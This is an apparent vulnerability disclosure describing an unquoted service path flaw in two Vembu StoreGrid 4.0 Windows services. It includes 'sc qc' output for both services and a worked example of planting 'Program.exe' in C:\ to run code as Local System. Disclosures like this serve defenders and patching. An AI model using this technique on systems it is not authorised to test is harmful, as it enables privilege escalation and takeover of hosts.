Vembu StoreGrid 4.0 - Unquoted Service Path Privilege Escalation
2016-10-19 20:05:18# Exploit Title: Vembu StoreGrid - Unquoted Service Path Privilege
Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 4.0
# Tested on: Windows Server 2012
StoreGrid is a re-brandable backup solution, which can install 2 services
with unquoted service paths.
This enables a local privilege escalation vulnerability. To exploit this
vulnerability,
a local attacker can insert an executable file in the path of either
service.
Rebooting the system or restarting the service will run the malicious
executable with elevated privileges.
This was tested on version 4.0, but other versions may be affected as well.
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C:\>sc qc RemoteBackup
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: RemoteBackup
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files\MSP\RemoteBackup\bin\StoreGrid.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : RemoteBackup
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\>sc qc RemoteBackup_webServer
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: RemoteBackup_webServer
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program
Files\MSP\RemoteBackup\apache\Apache.exe -k runservice
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : RemoteBackup_WebServer
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
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EXAMPLE:
Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
Fixes
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